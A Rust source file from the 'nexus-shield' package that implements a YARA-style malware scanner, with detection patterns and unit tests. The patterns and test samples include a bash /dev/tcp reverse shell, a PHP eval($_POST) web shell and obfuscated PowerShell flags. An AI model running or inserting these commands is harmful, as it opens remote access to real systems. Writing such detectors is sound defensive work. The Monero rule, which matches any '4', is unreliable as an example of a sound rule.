nexus-shield 0.4.1

Adaptive zero-trust security gateway with real-time endpoint protection — SQL firewall, SSRF guard, malware detection, process monitoring, network analysis, rootkit detection
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
// ============================================================================
// File: endpoint/yara_engine.rs
// Description: YARA-compatible pattern-based malware rule engine (pure Rust)
// Author: Andrew Jewell Sr. - AutomataNexus
// Updated: March 24, 2026
// ============================================================================
//! YARA Engine — pattern-based malware classification using byte-level string
//! matching. Implements a subset of YARA rule syntax in pure Rust (no libyara
//! dependency). Includes 5 built-in detection rules.

use super::{DetectionCategory, RecommendedAction, ScanResult, Scanner, Severity};
use parking_lot::RwLock;
use serde::{Deserialize, Serialize};
use std::path::{Path, PathBuf};

/// A YARA-compatible detection rule.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct YaraRule {
    pub name: String,
    pub tags: Vec<String>,
    pub strings: Vec<YaraString>,
    pub meta_description: String,
    pub severity: Severity,
}

/// A string pattern within a YARA rule.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct YaraString {
    pub id: String,
    pub pattern: Vec<u8>,
    pub is_nocase: bool,
}

/// Pure-Rust YARA-compatible pattern matching engine.
pub struct YaraEngine {
    rules: RwLock<Vec<YaraRule>>,
    rules_dir: Option<PathBuf>,
    active: bool,
}

impl YaraEngine {
    /// Create a new YARA engine with built-in rules plus optional rules directory.
    pub fn new(rules_dir: Option<PathBuf>) -> Self {
        let engine = Self {
            rules: RwLock::new(Vec::new()),
            rules_dir: rules_dir.clone(),
            active: true,
        };

        // Load built-in rules
        {
            let mut rules = engine.rules.write();
            for rule in Self::builtin_rules() {
                rules.push(rule);
            }
        }

        // Load from directory if provided
        if let Some(dir) = rules_dir {
            engine.load_rules_from_dir(&dir);
        }

        engine
    }

    /// Built-in detection rules covering common threat categories.
    fn builtin_rules() -> Vec<YaraRule> {
        vec![
            // 1. EICAR test file
            YaraRule {
                name: "EICAR_test_file".to_string(),
                tags: vec!["test".to_string()],
                strings: vec![YaraString {
                    id: "$eicar".to_string(),
                    pattern: b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*".to_vec(),
                    is_nocase: false,
                }],
                meta_description: "EICAR standard antivirus test file".to_string(),
                severity: Severity::High,
            },
            // 2. Suspicious PowerShell
            YaraRule {
                name: "Suspicious_PowerShell".to_string(),
                tags: vec!["powershell".to_string(), "obfuscation".to_string()],
                strings: vec![
                    YaraString {
                        id: "$enc_cmd".to_string(),
                        pattern: b"-EncodedCommand".to_vec(),
                        is_nocase: true,
                    },
                    YaraString {
                        id: "$enc_short".to_string(),
                        pattern: b"-enc ".to_vec(),
                        is_nocase: true,
                    },
                    YaraString {
                        id: "$from_b64".to_string(),
                        pattern: b"FromBase64String".to_vec(),
                        is_nocase: true,
                    },
                    YaraString {
                        id: "$hidden".to_string(),
                        pattern: b"powershell -nop -w hidden".to_vec(),
                        is_nocase: true,
                    },
                    YaraString {
                        id: "$bypass".to_string(),
                        pattern: b"-ExecutionPolicy Bypass".to_vec(),
                        is_nocase: true,
                    },
                    YaraString {
                        id: "$iex".to_string(),
                        pattern: b"IEX(New-Object".to_vec(),
                        is_nocase: true,
                    },
                ],
                meta_description: "Suspicious PowerShell execution with obfuscation".to_string(),
                severity: Severity::High,
            },
            // 3. Linux reverse shell
            YaraRule {
                name: "Linux_Reverse_Shell".to_string(),
                tags: vec!["shell".to_string(), "backdoor".to_string()],
                strings: vec![
                    YaraString {
                        id: "$bash_tcp".to_string(),
                        pattern: b"bash -i >& /dev/tcp/".to_vec(),
                        is_nocase: false,
                    },
                    YaraString {
                        id: "$sh_i".to_string(),
                        pattern: b"/bin/sh -i".to_vec(),
                        is_nocase: false,
                    },
                    YaraString {
                        id: "$nc_exec".to_string(),
                        pattern: b"nc -e /bin/".to_vec(),
                        is_nocase: false,
                    },
                    YaraString {
                        id: "$ncat_exec".to_string(),
                        pattern: b"ncat -e /bin/".to_vec(),
                        is_nocase: false,
                    },
                    YaraString {
                        id: "$python_sock".to_string(),
                        pattern: b"import socket,subprocess".to_vec(),
                        is_nocase: false,
                    },
                    YaraString {
                        id: "$perl_sock".to_string(),
                        pattern: b"use Socket;".to_vec(),
                        is_nocase: false,
                    },
                    YaraString {
                        id: "$php_sock".to_string(),
                        pattern: b"fsockopen(".to_vec(),
                        is_nocase: false,
                    },
                    YaraString {
                        id: "$socat".to_string(),
                        pattern: b"socat exec:".to_vec(),
                        is_nocase: true,
                    },
                ],
                meta_description: "Linux reverse shell payload patterns".to_string(),
                severity: Severity::Critical,
            },
            // 4. Web shell indicators
            YaraRule {
                name: "Web_Shell_Indicators".to_string(),
                tags: vec!["webshell".to_string(), "php".to_string()],
                strings: vec![
                    YaraString {
                        id: "$eval_post".to_string(),
                        pattern: b"eval($_POST".to_vec(),
                        is_nocase: false,
                    },
                    YaraString {
                        id: "$eval_get".to_string(),
                        pattern: b"eval($_GET".to_vec(),
                        is_nocase: false,
                    },
                    YaraString {
                        id: "$eval_req".to_string(),
                        pattern: b"eval($_REQUEST".to_vec(),
                        is_nocase: false,
                    },
                    YaraString {
                        id: "$system".to_string(),
                        pattern: b"system($_".to_vec(),
                        is_nocase: false,
                    },
                    YaraString {
                        id: "$passthru".to_string(),
                        pattern: b"passthru(".to_vec(),
                        is_nocase: false,
                    },
                    YaraString {
                        id: "$shell_exec".to_string(),
                        pattern: b"shell_exec(".to_vec(),
                        is_nocase: false,
                    },
                    YaraString {
                        id: "$assert".to_string(),
                        pattern: b"assert($_".to_vec(),
                        is_nocase: false,
                    },
                ],
                meta_description: "PHP web shell indicators — remote code execution".to_string(),
                severity: Severity::Critical,
            },
            // 5. Crypto miner
            YaraRule {
                name: "Crypto_Miner".to_string(),
                tags: vec!["miner".to_string(), "crypto".to_string()],
                strings: vec![
                    YaraString {
                        id: "$stratum_tcp".to_string(),
                        pattern: b"stratum+tcp://".to_vec(),
                        is_nocase: true,
                    },
                    YaraString {
                        id: "$stratum_ssl".to_string(),
                        pattern: b"stratum+ssl://".to_vec(),
                        is_nocase: true,
                    },
                    YaraString {
                        id: "$xmrig".to_string(),
                        pattern: b"xmrig".to_vec(),
                        is_nocase: true,
                    },
                    YaraString {
                        id: "$cryptonight".to_string(),
                        pattern: b"cryptonight".to_vec(),
                        is_nocase: true,
                    },
                    YaraString {
                        id: "$monero_addr".to_string(),
                        pattern: b"4".to_vec(), // Monero addresses start with 4
                        is_nocase: false,
                    },
                    YaraString {
                        id: "$coinhive".to_string(),
                        pattern: b"coinhive".to_vec(),
                        is_nocase: true,
                    },
                ],
                meta_description: "Cryptocurrency miner indicators".to_string(),
                severity: Severity::High,
            },
        ]
    }

    /// Add a rule at runtime.
    pub fn add_rule(&self, rule: YaraRule) {
        self.rules.write().push(rule);
    }

    /// Load rules from .yar files in a directory.
    pub fn load_rules_from_dir(&self, dir: &Path) {
        let entries = match std::fs::read_dir(dir) {
            Ok(e) => e,
            Err(_) => return,
        };

        for entry in entries.flatten() {
            let path = entry.path();
            let ext = path.extension().map(|e| e.to_string_lossy().to_lowercase());
            if ext.as_deref() == Some("yar") || ext.as_deref() == Some("yara") {
                if let Ok(content) = std::fs::read_to_string(&path) {
                    if let Some(rule) = Self::parse_yara_file(&content) {
                        self.rules.write().push(rule);
                    }
                }
            }
        }
    }

    /// Simple YARA file parser — extracts rule name, strings, and meta.
    fn parse_yara_file(content: &str) -> Option<YaraRule> {
        // Extract rule name: "rule NAME {"
        let rule_re = regex::Regex::new(r"rule\s+(\w+)").ok()?;
        let name = rule_re.captures(content)?.get(1)?.as_str().to_string();

        // Extract description from meta
        let desc_re = regex::Regex::new(r#"description\s*=\s*"([^"]+)""#).ok()?;
        let description = desc_re
            .captures(content)
            .and_then(|c| c.get(1).map(|m| m.as_str().to_string()))
            .unwrap_or_default();

        // Extract severity from meta
        let sev_re = regex::Regex::new(r#"severity\s*=\s*"([^"]+)""#).ok()?;
        let severity = match sev_re
            .captures(content)
            .and_then(|c| c.get(1).map(|m| m.as_str().to_lowercase()))
            .as_deref()
        {
            Some("critical") => Severity::Critical,
            Some("high") => Severity::High,
            Some("medium") => Severity::Medium,
            Some("low") => Severity::Low,
            _ => Severity::Medium,
        };

        // Extract strings: $id = "pattern" or $id = { hex }
        let str_re = regex::Regex::new(r#"\$(\w+)\s*=\s*"([^"]+)""#).ok()?;
        let mut strings = Vec::new();
        for cap in str_re.captures_iter(content) {
            let id = format!("${}", &cap[1]);
            let pattern = cap[2].as_bytes().to_vec();
            let is_nocase = content.contains("nocase");
            strings.push(YaraString {
                id,
                pattern,
                is_nocase,
            });
        }

        if strings.is_empty() {
            return None;
        }

        Some(YaraRule {
            name,
            tags: Vec::new(),
            strings,
            meta_description: description,
            severity,
        })
    }

    /// Scan data against all rules. Returns (rule_name, matched_string_ids) pairs.
    pub fn scan_data(&self, data: &[u8]) -> Vec<(String, Vec<String>)> {
        let rules = self.rules.read();
        let mut matches = Vec::new();

        let data_lower: Vec<u8> = data.iter().map(|b| b.to_ascii_lowercase()).collect();

        for rule in rules.iter() {
            let mut matched_ids = Vec::new();

            for yara_str in &rule.strings {
                let found = if yara_str.is_nocase {
                    let pattern_lower: Vec<u8> =
                        yara_str.pattern.iter().map(|b| b.to_ascii_lowercase()).collect();
                    contains_pattern(&data_lower, &pattern_lower)
                } else {
                    contains_pattern(data, &yara_str.pattern)
                };

                if found {
                    matched_ids.push(yara_str.id.clone());
                }
            }

            // Rule matches if ANY string matches
            if !matched_ids.is_empty() {
                matches.push((rule.name.clone(), matched_ids));
            }
        }

        matches
    }

    /// Number of loaded rules.
    pub fn rule_count(&self) -> usize {
        self.rules.read().len()
    }
}

/// Efficient byte pattern search using windows.
fn contains_pattern(data: &[u8], pattern: &[u8]) -> bool {
    if pattern.is_empty() || data.len() < pattern.len() {
        return false;
    }
    data.windows(pattern.len()).any(|w| w == pattern)
}

#[async_trait::async_trait]
impl Scanner for YaraEngine {
    fn name(&self) -> &str {
        "yara_engine"
    }

    fn is_active(&self) -> bool {
        self.active
    }

    async fn scan_file(&self, path: &Path) -> Vec<ScanResult> {
        // Limit to 50 MB
        if let Ok(meta) = std::fs::metadata(path) {
            if meta.len() > 52_428_800 {
                return Vec::new();
            }
        }

        let data = match std::fs::read(path) {
            Ok(d) => d,
            Err(_) => return Vec::new(),
        };

        self.scan_data_to_results(&data, &path.to_string_lossy())
    }

    async fn scan_bytes(&self, data: &[u8], label: &str) -> Vec<ScanResult> {
        self.scan_data_to_results(data, label)
    }
}

impl YaraEngine {
    fn scan_data_to_results(&self, data: &[u8], target: &str) -> Vec<ScanResult> {
        let matches = self.scan_data(data);
        let rules = self.rules.read();

        matches
            .into_iter()
            .filter_map(|(rule_name, matched_ids)| {
                let rule = rules.iter().find(|r| r.name == rule_name)?;
                Some(ScanResult::new(
                    "yara_engine",
                    target,
                    rule.severity,
                    DetectionCategory::YaraMatch {
                        rule_name: rule_name.clone(),
                        tags: rule.tags.clone(),
                    },
                    format!(
                        "YARA rule '{}' matched ({} strings: {}) — {}",
                        rule_name,
                        matched_ids.len(),
                        matched_ids.join(", "),
                        rule.meta_description
                    ),
                    0.9,
                    if rule.severity >= Severity::High {
                        RecommendedAction::Quarantine {
                            source_path: PathBuf::from(target),
                        }
                    } else {
                        RecommendedAction::Alert
                    },
                ))
            })
            .collect()
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    fn test_engine() -> YaraEngine {
        YaraEngine::new(None)
    }

    #[test]
    fn eicar_detection() {
        let engine = test_engine();
        let eicar = b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
        let matches = engine.scan_data(eicar);
        assert!(
            matches.iter().any(|(name, _)| name == "EICAR_test_file"),
            "EICAR not detected. Matches: {:?}",
            matches
        );
    }

    #[test]
    fn clean_text_passes() {
        let engine = test_engine();
        let text = b"This is a perfectly normal text document about cooking recipes.";
        let matches = engine.scan_data(text);
        // Should not match any dangerous rules (might match monero "4" in Crypto_Miner — that's by design for testing)
        assert!(
            !matches.iter().any(|(name, _)| name == "EICAR_test_file"
                || name == "Linux_Reverse_Shell"
                || name == "Web_Shell_Indicators"),
        );
    }

    #[test]
    fn powershell_encoded_command() {
        let engine = test_engine();
        let ps = b"powershell.exe -EncodedCommand ZABpAHIAIABDADoAXAA=";
        let matches = engine.scan_data(ps);
        assert!(matches
            .iter()
            .any(|(name, _)| name == "Suspicious_PowerShell"));
    }

    #[test]
    fn reverse_shell_detection() {
        let engine = test_engine();
        let shell = b"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1";
        let matches = engine.scan_data(shell);
        assert!(matches
            .iter()
            .any(|(name, _)| name == "Linux_Reverse_Shell"));
    }

    #[test]
    fn webshell_detection() {
        let engine = test_engine();
        let webshell = b"<?php eval($_POST['cmd']); ?>";
        let matches = engine.scan_data(webshell);
        assert!(matches
            .iter()
            .any(|(name, _)| name == "Web_Shell_Indicators"));
    }

    #[test]
    fn crypto_miner_detection() {
        let engine = test_engine();
        let miner = b"pool: stratum+tcp://pool.minexmr.com:4444";
        let matches = engine.scan_data(miner);
        assert!(matches.iter().any(|(name, _)| name == "Crypto_Miner"));
    }

    #[test]
    fn multiple_rules_can_match() {
        let engine = test_engine();
        // Data that matches both reverse shell AND webshell
        let data = b"<?php system($_POST['cmd']); bash -i >& /dev/tcp/10.0.0.1/4444 0>&1";
        let matches = engine.scan_data(data);
        assert!(matches.len() >= 2);
    }

    #[test]
    fn rule_count() {
        let engine = test_engine();
        assert_eq!(engine.rule_count(), 5);
    }

    #[test]
    fn add_custom_rule() {
        let engine = test_engine();
        engine.add_rule(YaraRule {
            name: "Custom_Test".to_string(),
            tags: vec!["test".to_string()],
            strings: vec![YaraString {
                id: "$custom".to_string(),
                pattern: b"CUSTOM_MARKER_STRING".to_vec(),
                is_nocase: false,
            }],
            meta_description: "Custom test rule".to_string(),
            severity: Severity::Low,
        });
        assert_eq!(engine.rule_count(), 6);

        let matches = engine.scan_data(b"This contains CUSTOM_MARKER_STRING in it");
        assert!(matches.iter().any(|(name, _)| name == "Custom_Test"));
    }

    #[tokio::test]
    async fn scan_file_works() {
        let dir = std::env::temp_dir().join("nexus-yara-test");
        let _ = std::fs::create_dir_all(&dir);
        let path = dir.join("shell.sh");
        std::fs::write(&path, b"#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n").unwrap();

        let engine = test_engine();
        let results = engine.scan_file(&path).await;
        assert!(!results.is_empty());

        let _ = std::fs::remove_dir_all(&dir);
    }

    #[test]
    fn nocase_matching() {
        let engine = test_engine();
        // -encodedcommand in lowercase should still match Suspicious_PowerShell (nocase)
        let ps = b"powershell.exe -encodedcommand ZABpAHIAIABDADoAXAA=";
        let matches = engine.scan_data(ps);
        assert!(matches
            .iter()
            .any(|(name, _)| name == "Suspicious_PowerShell"));
    }
}